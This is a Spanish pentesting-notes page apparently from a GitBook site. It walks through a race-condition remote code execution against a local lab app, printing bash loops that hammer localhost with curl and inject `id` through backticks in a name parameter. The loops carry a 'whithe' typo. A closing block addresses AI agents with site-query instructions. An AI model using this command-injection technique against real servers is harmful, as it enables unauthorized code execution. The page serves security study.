> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/race-condition-attack/race-condition-rce-pentesting-web.md).

# RCE por condición de carrera

Aquí está la interfaz donde nosotros **entramos** nuestro nombre:

<figure><img src="/files/360c60f61b88834829873b43f58f1570914842f9" alt=""><figcaption></figcaption></figure>

Este nombre **aparece en la URL** en GET con el siguiente formato:

<figure><img src="/files/2ffac6b236609901dc425d12353a157f739df2ed" alt=""><figcaption></figcaption></figure>

Aquí está el código que intentaremos comprometer. Crea un temporal **hello.sh** archivo con el nombre proporcionado:

<figure><img src="/files/95dbaa7cb9247b5a8b6fc438c6e317dfe6ea5a57" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c406c106fe8b0e1cea679bb9ef671e89017fd71b" alt=""><figcaption></figcaption></figure>

Esto significa que, como Bash se está ejecutando, podemos **ejecutar comandos**, pero en este caso, se produce un error:

<figure><img src="/files/4e2433857718703678e63d0befea916089af3b70" alt=""><figcaption></figcaption></figure>

El **error** se produce porque hay una pequeña validación de **caracteres permitidos**. PERO primero se ejecuta el comando y luego tiene lugar la validación:

<figure><img src="/files/504f10ce89e1c7632c22c2a6952820742a01142f" alt=""><figcaption></figcaption></figure>

Todos aprovechamos el hecho de que hay unos pocos **milisegundos** antes de que el script se ejecute antes de ser validado, enviando muchas solicitudes y en **logrando ver el contenido**:

```bash
whithe true; do cat hello.txt | grep -v "test"; done

```

<figure><img src="/files/7f22f757d192051e0a56b9b4401821243d9427a0" alt=""><figcaption></figcaption></figure>

En un caso real en el que no tendríamos **ningún acceso** al archivo "hello.txt", usamos **curl** de la siguiente manera

1. establecemos **solicitudes de escucha** por el campo que nos interesa:

```bash
whithe true; do curl -s -X GET 'http://localhost:5000/?action=run' | grep "Check this out" | html2text | xargs; done

```

2. Lanzamos un ataque de fuerza bruta **hasta que se cumpla la condición**

```bash
whithe true; do curl -s -X GET 'http://localhost:5000/?person=`id`&action=validate'; done

```

<figure><img src="/files/e70bb3f4b893495ec47c741b30498b412787507b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/race-condition-attack/race-condition-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
